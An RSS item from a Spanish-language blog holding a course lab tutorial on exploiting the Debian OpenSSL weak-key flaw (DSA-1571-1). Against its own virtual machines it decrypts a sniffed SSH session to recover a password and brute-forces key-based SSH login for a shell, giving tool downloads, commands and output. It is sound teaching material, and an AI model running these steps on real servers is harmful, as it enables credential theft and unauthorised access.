<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="http://www.ulises2k.com.ar" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>Mis Textos</title>
 <link>http://www.ulises2k.com.ar/textos</link>
 <description>Mis textos</description>
 <language>es</language>
<item>
 <title>Laboratorio práctico de explicación de la vulnerabilidad de libssl en Debian.</title>
 <link>http://www.ulises2k.com.ar/textos/laboratorio_practico_de_explicacion_de_la_vulnerabilidad_de_libssl_en_debian</link>
 <description>&lt;p&gt;
En Abril de este año comencé a dictar los laboratorios y algunas clases teóricas del curso de &lt;a href=&quot;http://www.isec-global.com/i-sec/pdfs/cursos/especializacion_anual2008.pdf&quot; target=&quot;_blank&quot; title=&quot;Seguridad de la Información y Auditoria de Sistemas&quot;&gt;Seguridad de la Información y Auditoria de Sistemas&lt;/a&gt; armado por la gente de &lt;a href=&quot;http://www.isec-global.com/&quot; target=&quot;_blank&quot; title=&quot;i-sec&quot;&gt;i-sec&lt;/a&gt; .
&lt;/p&gt;
&lt;p&gt;
El viernes 11 de Julio dí un laboratorio que surgió a partir de una clase anterior (&lt;a href=&quot;http://www.isec-global.com/i-sec/pdfs/cursos/especializacion_anual2008.pdf&quot; target=&quot;_blank&quot; title=&quot;MT-11&quot;&gt;MT-11&lt;/a&gt;) dictada por Sebastian Bortnik en la que explicaba &amp;quot;Encriptación / Certificados Digitales&amp;quot; entre otros temas.
&lt;/p&gt;
&lt;p&gt;
La idea es explicarlo paso a paso y ver de forma totalmente práctica como aprovechar la &lt;a href=&quot;http://www.debian.org/security/2008/dsa-1571&quot; target=&quot;_blank&quot; title=&quot;Vulnerabilidad en Openssl&quot;&gt;vulnerabilidad de Openssl (DSA-1571-1)&lt;/a&gt; descubierta por Luciano Bello en todas sus formas.
&lt;/p&gt;
&lt;p&gt;
Se puede dividir en dos partes principales:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Descifrar una comunicación SSH v2 para obtener usuario y contraseña&lt;/strong&gt; y
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Obtener una shell a partir de un bruteforce con todas las claves generadas previamente&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;h3&gt;Armado del Laboratorio&lt;/h3&gt;
&lt;p&gt;
El laboratorio se va armar en base a Virtual Machines de VMware usando Ubuntu 8.04 (Ubuntu está basado en Debian).
&lt;/p&gt;
&lt;p&gt;
Descargar la Virtual Machine de &lt;a href=&quot;http://www.vmware.com/appliances/directory/1224&quot; target=&quot;_blank&quot; title=&quot;Ubuntu 8.04 Desktop&quot;&gt;Ubuntu 8.04 Desktop&lt;/a&gt; y la Virtual Machine de &lt;a href=&quot;http://www.vmware.com/appliances/directory/1226&quot; target=&quot;_blank&quot; title=&quot;Ubuntu 8.04 Server&quot;&gt;Ubuntu 8.04 Server&lt;/a&gt; desde el sitio de Vmware Appliance.
&lt;/p&gt;
&lt;p&gt;
Descargar &lt;a href=&quot;http://www.vmware.com/products/player/&quot; target=&quot;_blank&quot; title=&quot;VMware Player&quot;&gt;VMware Player&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Asumo que el lector tiene un manejo de VMware Player por lo que ovbiaré algunos pasos de configuración e inicio de las Virtual Machines (de ahora en mas las llamaré VM).
&lt;/p&gt;
&lt;p&gt;
Se configuran las 2 VM (Ubuntu Desktop y Server) para usar una placa de red de tipo NAT, solo a modo de practicidad.
&lt;/p&gt;
&lt;p&gt;
En Ubuntu Server y Ubuntu Desktop se asigna una ip por dhcp ejecutando:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;sudo dhclient&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
En mi caso las ip son:
&lt;/p&gt;
&lt;p&gt;
IP Ubuntu Server: 192.168.230.143
&lt;/p&gt;
&lt;p&gt;
IP Ubuntu Desktop: 192.168.230.144
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
El usuario y contraseña con los que vienen las dos VM es user/user. Lo vamos a cambiar por uno que sea mas visible a la hora de ver los paquetes capturados con el sniffer.
&lt;/p&gt;
&lt;p&gt;
Cambiar el password a Ubuntu Server ejecutando:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;passwd&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Ingresar el actual password:
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;user&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
Ingresar el nuevo password:
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;superpassword&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Configurar ahora Ubuntu Desktop para que no se actualice y que solo se descarguen los paquetes correspondientes a la versión 8.04 y no los paquetes más nuevos.
&lt;/p&gt;
&lt;p&gt;
Ir a &amp;quot;System -&amp;gt; Administration -&amp;gt; Synaptic Package Manager&amp;quot;, luego al Menu &amp;quot;Settings/Preferences&amp;quot;
&lt;/p&gt;
&lt;p&gt;
Modificar solo estas dos pestañas que se muestran a continuación, las demas no tienen importancia y se pueden dejar como estan por defecto.
&lt;/p&gt;
&lt;p&gt;
&lt;a rel=&quot;lightbox&quot;href=&quot;/files/synaptic_general.png&quot; title=&quot;Synaptic General&quot;&gt;&lt;img src=&quot;/files/synaptic_general.png&quot; alt=&quot;Synaptic General&quot; width=&quot;368&quot; height=&quot;328&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
&lt;a rel=&quot;lightbox&quot; href=&quot;/files/synaptic_distribution.png&quot; title=&quot;Synaptic Distribution&quot;&gt;&lt;img src=&quot;/files/synaptic_distribution.png&quot; alt=&quot;Synaptic Distribution&quot; width=&quot;366&quot; height=&quot;326&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Ir a &amp;quot;System -&amp;gt; Administration -&amp;gt; Synaptic Package Manager&amp;quot;, luego al Menu &amp;quot;Settings/Repositories&amp;quot;
&lt;/p&gt;
&lt;p&gt;
Modificar la configuración de las siguientes tres pestañas, las demás no tienen importancia y se pueden dejar como están por defecto:
&lt;/p&gt;
&lt;p&gt;
&lt;a rel=&quot;lightbox&quot; href=&quot;/files/repositories_ubuntu_software.png&quot; title=&quot;Repositories Ubuntu Software&quot;&gt;&lt;img src=&quot;/files/repositories_ubuntu_software.png&quot; alt=&quot;Repositories Ubuntu Software&quot; width=&quot;367&quot; height=&quot;354&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a rel=&quot;lightbox&quot; href=&quot;/files/repositories_third-party_software.png&quot; title=&quot;Repositories Third-Party Software&quot;&gt;&lt;img src=&quot;/files/repositories_third-party_software.png&quot; alt=&quot;Repositories Third-Party Software&quot; width=&quot;367&quot; height=&quot;354&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a rel=&quot;lightbox&quot; href=&quot;/files/repositories_updates.png&quot; title=&quot;Repositories Updates&quot;&gt;&lt;img src=&quot;/files/repositories_updates.png&quot; alt=&quot;Repositories Updates&quot; width=&quot;369&quot; height=&quot;356&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Instalamos librerias y programas necesarios en Ubuntu Desktop.
&lt;/p&gt;
&lt;p&gt;
Necesitamos libssl para ruby, libssl-dev, gcc/g++, dependencias de python, wireshark y &lt;a href=&quot;http://tcpick.sourceforge.net/&quot; target=&quot;_blank&quot; title=&quot;tcpick&quot;&gt;tcpick&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;sudo apt-get install  libopenssl-ruby libssl-dev gcc g++ python-crypto python-paramiko wireshark tcpick&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;Descargamos &lt;a href=&quot;http://www.cr0.org/progs/sshfun/&quot; target=&quot;_blank&quot; title=&quot;ssh_decoder&quot;&gt;ssh_decoder&lt;/a&gt; y &lt;a href=&quot;http://www.cr0.org/progs/sshfun/&quot; target=&quot;_blank&quot; title=&quot;ssh_kex_keygen&quot;&gt;ssh_kex_keygen&lt;/a&gt; en /home/user:&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;wget &lt;a href=&quot;http://www.cr0.org/progs/sshfun/ssh_decoder-1.0.tar.bz2&quot; title=&quot;http://www.cr0.org/progs/sshfun/ssh_decoder-1.0.tar.bz2 &quot;&gt;http://www.cr0.org/progs/sshfun/ssh_decoder-1.0.tar.bz2&lt;/a&gt;&lt;/strong&gt; &lt;br /&gt;
&lt;strong&gt;wget &lt;a href=&quot;http://www.cr0.org/progs/sshfun/ssh_kex_keygen-1.1.tar.bz2&quot; title=&quot;http://www.cr0.org/progs/sshfun/ssh_kex_keygen-1.1.tar.bz2&quot;&gt;http://www.cr0.org/progs/sshfun/ssh_kex_keygen-1.1.tar.bz2&lt;/a&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Descomprimimos:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;tar -xvjf ssh_decoder-1.0.tar.bz2&lt;/strong&gt; &lt;br /&gt;
&lt;strong&gt;tar -xvjf ssh_kex_keygen-1.1.tar.bz2&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Compilamos ssh_kex_keygen-1.1
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;cd ssh_kex_keygen-1.1 ; make&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Copiamos todos los archivos necesario al $HOME
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;cp ssh_decoder-1.0/ssh_decoder.rb /home/user&lt;br /&gt;
cp -r ssh_kex_keygen-1.1/*/home/user&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Descargamos un script de la gente de &lt;a href=&quot;http://warcat.no-ip.org&quot; target=&quot;_blank&quot; title=&quot;warcat&quot;&gt;WarCat team&lt;/a&gt; para hacer brute force:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;wget &lt;a href=&quot;/files/ssh_bruteforce.py.tar.gz&quot; title=&quot;http://www.ulises2k.com.ar/files/ssh_bruteforce.py.tar.gz&quot;&gt;http://www.ulises2k.com.ar/files/ssh_bruteforce.py.tar.gz&lt;/a&gt; ; tar -xvzf ssh_bruteforce.py.tar.gz&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Descargamos &lt;a href=&quot;http://wiki.debian.org/SSLkeys#head-45e521140d6b8f2a0f96a115a5fc616c4f1baf0b&quot; target=&quot;_blank&quot; title=&quot;dowkd.pl&quot;&gt;dowkd.pl&lt;/a&gt;, una tool realizada por la gente del security team de Debian.
&lt;/p&gt;
&lt;p&gt;
La he modificado levemente para mostrar algunos datos de las claves.
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;wget &lt;a href=&quot;/files/dowkd.tar.gz&quot; title=&quot;http://www.ulises2k.com.ar/files/dowkd.tar.gz&quot;&gt;http://www.ulises2k.com.ar/files/dowkd.tar.gz&lt;/a&gt; ; tar -xvzf dowkb.tar.gz&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Descargamos todas las llaves públicas y privadas pre-computadas desde el sitio de &lt;a href=&quot;http://metasploit.com/users/hdm/tools/debian-openssl/&quot; target=&quot;_blank&quot; title=&quot;Toys HD Moore&quot;&gt;HD Moore&lt;/a&gt;:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;wget &lt;a href=&quot;http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2&quot; title=&quot;http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2&quot;&gt;http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2&lt;/a&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
descomprimimos
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;tar -xvjf debian_ssh_rsa_2048_x86.tar.bz2&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Ya tenemos todas las herramientas instaladas.
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;h3&gt;Descifrar una comunicación SSH v2 para obtener usuario y contraseña&lt;/h3&gt;
&lt;p&gt;
Desde la versión de OpenSSL 0.9.8c-1 hasta la 0.9.8c-4 (sin incluir esta última) son vulnerables en Debian Etch y hasta la versión 0.9.8g-9 (sin incluir esta última) son vulnerables en Debian Lenny/Sid al fallo de &lt;a href=&quot;http://www.debian.org/security/2008/dsa-1571&quot; target=&quot;_blank&quot; title=&quot;DSA-1571-1&quot;&gt;DSA-1571-1&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
En nuestro Ubuntu server tenemos instalado la versión Openssl 0.9.8g-4, la obtenemos ejecutando:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;apt-cache show openssl&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;br /&gt;
Ahora vamos a &amp;quot;sniffear&amp;quot; la conexion entre Ubuntu Desktop y Ubuntu Server con el wireshark y la guardamos en un archivo .cap para luego descifrarlo.
&lt;/p&gt;
&lt;p&gt;
Ejecutamos Wireshark dentro de Ubuntu Desktop como root:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;sudo wireshark&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Configuramos Wireshark para &amp;quot;sniffear&amp;quot; la placa de red, en este caso se llamará eth1.
&lt;/p&gt;
&lt;p&gt;
&lt;a rel=&quot;lightbox&quot; href=&quot;/files/wireshark.png&quot; title=&quot;Wireshark&quot;&gt;&lt;img src=&quot;/files/wireshark.png&quot; alt=&quot;Wireshark&quot; width=&quot;381&quot; height=&quot;214&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Presionamos el botón &amp;quot;Start&amp;quot; y comienza a &amp;quot;sniffear&amp;quot;.
&lt;/p&gt;
&lt;p&gt;
Aplicamos un filtro para capturar solo el trafico ssh, para eso escribir en &amp;quot;Filter&amp;quot; , &amp;quot;ssh&amp;quot;, se debe poner todo el textbox de color verde indicando que estamos colocando un filtro correcto.
&lt;/p&gt;
&lt;p&gt;
Abrimos una terminal desde &amp;quot;Applications-&amp;gt;Accesories-&amp;gt;Terminal&amp;quot;
&lt;/p&gt;
&lt;p&gt;
Nos conectamos al Ubuntu Server usando solamente el protocolo v2 de ssh ejecutando:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;ssh -2 user@192.168.230.143&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Nos autenticamos con password &amp;quot;&lt;em&gt;superpassword&lt;/em&gt;&amp;quot;, luego escribimos:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;echo &amp;quot;Esto es un comando ejecutado desde el server&amp;quot;&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;exit&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Ahora ya tenemos capturado todo el tráfico de inicio de sesión y finalización de una conexión ssh con el Wireshark.
&lt;/p&gt;
&lt;p&gt;
Vamos al Wireshark al menú &amp;quot;Capture-&amp;gt;Stop&amp;quot; para detener la captura.
&lt;/p&gt;
&lt;p&gt;
Comprobamos que hay tráfico capturado como vemos en la siguiente imagen:
&lt;/p&gt;
&lt;p&gt;
&lt;a rel=&quot;lightbox&quot; href=&quot;/files/wireshark_captured.png&quot; title=&quot;Wireshark&quot;&gt;&lt;img src=&quot;/files/wireshark_captured.png&quot; width=&quot;397&quot; height=&quot;268&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Guardamos la captura con &amp;quot;File-&amp;gt;Save As...&amp;quot;
&lt;/p&gt;
&lt;p&gt;
En el campo &amp;quot;Name:&amp;quot; ponemos &amp;quot;/home/user/ssh.cap&amp;quot;
&lt;/p&gt;
&lt;p&gt;
Seleccionamos &amp;quot;All packets&amp;quot; , &amp;quot;Displayed&amp;quot; y presionamos &amp;quot;Save&amp;quot;
&lt;/p&gt;
&lt;p&gt;
Ahora tenemos todo nuestro tráfico ssh guardado en &amp;quot;/home/user/ssh.cap&amp;quot;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Vamos a usar un script de Raphaël Rigo con el cual me puse en contacto para preguntarle sobre un error que tuve cuando quería usar el script &lt;a href=&quot;http://www.cr0.org/progs/sshfun/&quot; target=&quot;_blank&quot; title=&quot;ssh_decoder&quot;&gt;ssh_decoder&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
El problema ocurrio porque había capturado el tráfico con
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;sudo tcpdump -i eth1 port 22 -w debian2.cap&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
y luego al momento de desencriptar el tráfico el script ssh_decoder arrojaba el siguiente error:
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;ssh_decoder.rb:324: undefined method `[]&#039; for nil:NilClass (NoMethodError)&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
Raphaël&lt;br /&gt;
me dijo que usara Wireshark ya que el tcpdump me estaba truncando los paquetes.
&lt;/p&gt;
&lt;p&gt;
Volviendo al  tema,  ejecutamos :
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;tcpick -wRC -wRS -r /home/user/ssh.cap&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Esto nos va a mostrar algo así:
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;Starting tcpick 0.2.1 at 2008-07-24 00:04 EDT&lt;br /&gt;
Timeout for connections is 600&lt;br /&gt;
tcpick: reading from ssh.cap&lt;br /&gt;
1      SYN-SENT       192.168.230.144:43370 &amp;gt; 192.168.230.143:ssh&lt;br /&gt;
1      SYN-RECEIVED   192.168.230.144:43370 &amp;gt; 192.168.230.143:ssh&lt;br /&gt;
1      ESTABLISHED    192.168.230.144:43370 &amp;gt; 192.168.230.143:ssh&lt;br /&gt;
1      FIN-WAIT-1     192.168.230.144:43370 &amp;gt; 192.168.230.143:ssh&lt;br /&gt;
1      TIME-WAIT      192.168.230.144:43370 &amp;gt; 192.168.230.143:ssh&lt;br /&gt;
1      CLOSED         192.168.230.144:43370 &amp;gt; 192.168.230.143:ssh&lt;br /&gt;
tcpick: done reading from ssh.cap&lt;/p&gt;
&lt;p&gt;83 packets captured&lt;br /&gt;
1 tcp sessions detected&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
y va a  crear dos archivos:
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;tcpick_192.168.230.144_192.168.230.143_ssh.clnt.dat &lt;br /&gt;
tcpick_192.168.230.144_192.168.230.143_ssh.serv.dat&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
ssh_kex_keygen recupera el secreto compartido calculado durante el intercambio de &lt;a href=&quot;http://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange&quot; target=&quot;_blank&quot; title=&quot;Diffie-Hellman&quot;&gt;Diffie Hellman&lt;/a&gt; en una las comunicaciones SSH y solamente funciona si uno de los extremos es vulnerable a Openssl PRNG.
&lt;/p&gt;
&lt;p&gt;
ssh_decoder puede descifrar una sesión SSH capturada cuando uno de los extremos tiene la vulnerabilidad anteriormente mencionada.
&lt;/p&gt;
&lt;p&gt;
Ahora finalmente desciframos la sesión:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;ruby ssh_decoder.rb tcpick*&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Y obtenemos nuestro preciado usuario y contraseña:
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt; * read handshake&lt;br /&gt;
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha256, compr: none&lt;br /&gt;
* bruteforce DH&lt;br /&gt;
DH shared secret : 00882543476f10176cba6f108377b95e2d1edef5b3277d969704e4484900d0a8c36aa4ce08d2f4531bb5f6ae3d0534fb0301620467973a9d9e0b5afc402f1ce57ac1958f926425e5673b3ced5ce95b857681cae27d2bc83ac201fcfd7a7f1d80c4a8f6e659cfa2c66934ee8457784f77b1f262e157510a403417ee0cf0e3644ad2&lt;br /&gt;
* derive keys&lt;br /&gt;
* decipher streams&lt;br /&gt;
* successful authentication packet&lt;br /&gt;
{:username=&amp;gt;&amp;quot;user&amp;quot;,&lt;br /&gt;
:nextservice=&amp;gt;&amp;quot;ssh-connection&amp;quot;,&lt;br /&gt;
:auth_method=&amp;gt;&amp;quot;password&amp;quot;,&lt;br /&gt;
:change=&amp;gt;0,&lt;br /&gt;
:password=&amp;gt;&amp;quot;superpassword&amp;quot;}&lt;br /&gt;
* deciphered streams saved to &amp;quot;sshdecrypt.0.client.dat&amp;quot; &amp;amp; &amp;quot;sshdecrypt.0.server.dat&amp;quot;&lt;br /&gt;
&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
Y podemos ver todo el tráfico en texto plano:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;less sshdecrypt.0.server.dat&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;less sshdecrypt.0.client.dat&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
¿Donde puede ser usada esta vulnerabilidad?
&lt;/p&gt;
&lt;p&gt;
Se puede usar por ejemplo cuando se ha comprometido un servidor por X vulnerabilidad y por la cual la persona maliciosa obtiene por elevación de privilegios o no, privilegios de root e instala luego un rootkit o troyano para garantizar su acceso.
&lt;/p&gt;
&lt;p&gt;
La persona maliciosa captura una sesión de ssh y obtiene las credenciales de ingreso y puede independizarse del rootkit o troyano.
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;h3&gt;Obtener una shell a partir de un bruteforce con todas las claves generadas previamente&lt;/h3&gt;
&lt;p&gt;
Ssh se puede configurar para autenticar por medio de un par de claves pública/privadas para esto hay que realizar los siguientes pasos:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;&lt;br /&gt;
ssh-keygen -t rsa&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
copiar la clave publica al servidor ssh al cual se quiere autenticar luego:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;&lt;br /&gt;
ssh-copy-id user@192.168.230.143&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Ahora nos podemos autenticar sin escribir usuario y contraseña:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;&lt;br /&gt;
ssh user@192.168.230.143&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Con esto logramos que el método anterior de sniffear la comunción para obtener usuario y contraseña quede inaplicable, pero vamos a ver como haciendo bruteforce podemos obtener una shell.
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Renombramos o borramos nuestra clave privada para no poder autenticarnos automaticamente, en este caso vamos a renombrarla:
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;mv $HOME/.ssh/id_rsa $HOME/.ssh/id_rsa.priv&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
Ejecutamos el script de bruteforce de ssh con los parámetros necesarios:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;python ssl_bruteforce.py /home/user/rsa/2048 192.168.230.143 user 22 4&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Y comienza el ataque del cual podemos estar seguros que si el servidor tiene al menos una clave pública débil en /home/user/.ssh/authorized_keys vamos a obtener un shell con toda seguridad ya que tenemos todas las claves privadas de rsa a 2048 bits dentro de rsa/2048
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org&lt;br /&gt;
d00be1be9c996d2cde7c73c8cd9e9c3c-30861&lt;br /&gt;
d4cede93dfb410ae9f5d62e8e1811117-32109&lt;br /&gt;
d00a82e0eda4f2d49246448521a93b16-19844&lt;br /&gt;
d003083366ef75998a6ade46d8d4b52c-23659&lt;br /&gt;
d00bfa4a84ad64724638e619151c0449-10653&lt;br /&gt;
d00356ebd65d1a25191e8f05c4464c4c-23823&lt;br /&gt;
d00b8cfb9eb7d4f6fec8a98ac64994c1-15343&lt;br /&gt;
617509675aadd761ef72939d7699e139-11798&lt;br /&gt;
d00353b7c3b45c4f4d9eb4e594068f11-24307&lt;br /&gt;
d00384ca4a0ae097f5d61035da08fdf4-11578&lt;br /&gt;
d008c1ead01a61d1964c59734a7fea63-15032&lt;/p&gt;
&lt;p&gt;Key Found in file: 617509675aadd761ef72939d7699e139-11798&lt;br /&gt;
Execute: ssh -luser -p22 -i /home/user/rsa/2048/617509675aadd761ef72939d7699e139-11798 192.168.230.143&lt;br /&gt;
&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
Cuando la clave sea encontrada nos mostrará el nombre del archivo con la clave privada correspondiente a la clave pública localizada en $HOME/.ssh/authorized_keys en el servidor.
&lt;/p&gt;
&lt;p&gt;
Ejecutamos entonces:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;ssh -luser -p22 -i /home/user/rsa/2048/617509675aadd761ef72939d7699e139-11798 192.168.230.143&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Y comprobamos efectivamente que nos autenticamos en el servidor y obtenemos una shell.
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
El script dowkb.pl es una muy buena tool para saber si tenemos una llave pública/privada débil
&lt;/p&gt;
&lt;p&gt;
Comprobamos si nuestro servidor tiene una clave pública débil con:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;./dowkd.pl host 192.168.230.143&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
Por supuesto en este caso comprobamos que si
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;1a:f9:d2:35:13:63:68:27:8a:ca:ca:09:6b:62:0f:63&lt;br /&gt;
192.168.230.143: weak key (OpenSSH/dsa/1024)&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAJoNM1CeT7Axj+YAM3ZhWh7o97ICn54G3EAqOIzYg2dX5pYQQ9KIYdyalTAg2adFBu6E8aZOni05PEzaDZbTHdBKuoO9B4zDBhvJw6ud/FFQpmrAIAIuNAK4QB05NbzHU3XOjNM0wxiELb+Hm5bmTT2ebTulZv17MBf4O6VLepk9AAAAFQDiMYZ7I5JvYMZUSgvRX5+e522jdQAAAIB7lraR7CyTfp7WRky6JrQZkphNbvf1pwxgAJhWZ/v8xdirWKtvveB/H5lhXgbPFWneQ3hGKg48BShAvcaY0QLqhBB9iahT6MmekQES+fEYr972coUi5+LMjkKGArt0nkjNBJ7Wtk9jsUe0R+6pA6OvQ70ULgQ3BL8KwYJFD4POMwAAAIBGaXas6exFJlee/gLKuVKJIi56DZChxr48yWtEMpMby4RdPGm+QfnPI2HGx4q2DHRPVrHVBixKJQelTWk29DU2pGWXFr55RApwGhrxXCx01JvkS7YAIBdvzw2wUD/82A8f69mP3oPaU8qRnGmvjo30KIP4KAU/yUfTVnjU5PJBsA==&lt;/p&gt;
&lt;p&gt;c8:65:6c:ac:f3:4f:9a:8e:d8:b5:7e:e3:5b:3c:7d:aa&lt;br /&gt;
192.168.230.143: weak key (OpenSSH/rsa/2048)&lt;br /&gt;
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArchVhUYH1+GxrJszA36j+sp2AXGGzS/xbG81hLGuX2Vjve1kwXHuQZPhHjasbqTvGCf1H80XPnBM9KUlLMS3nDW9mt5+h+tUVgRzZnzAX3VRszH1ydgWXpNghV2tYrO+Q5AioGmyKdsNYab4PScduE83Yd6BGFyJ565nbCLvteHV+osfP4tFj7lER6xlwG6czTHLKub7jufbi0TBuaRVK/2ZBrGdd9H6tGE8LoM00/MJEZX6NEnmxHDpI+acY8O0bKE6K8jlF6mbTb8AvRKCRVE4rSxTtA7dHJ5b/DYVR0QS3Yk7zjfTUWZ6t9SbkEP21KvQxJEIoDpznj92OAuarw==&lt;/p&gt;
&lt;p&gt;summary: keys found: 2, weak keys: 2&lt;br /&gt;
&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
Atención, esto no quiere decir que en nuestro servidor tengamos un authorized_keys con una clave pública debil, si no, que la públic key que entrega el servidor ssh es débil, en este caso se puede aplicar el primer método explicado anteriormente.
&lt;/p&gt;
&lt;p&gt;
Las claves pública/privadas débiles estan alojadas en el servidor en:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;/etc/ssh/&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
y  lo comprobamos haciendo:
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;cat /etc/ssh/ssh_host_rsa_key.pub&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
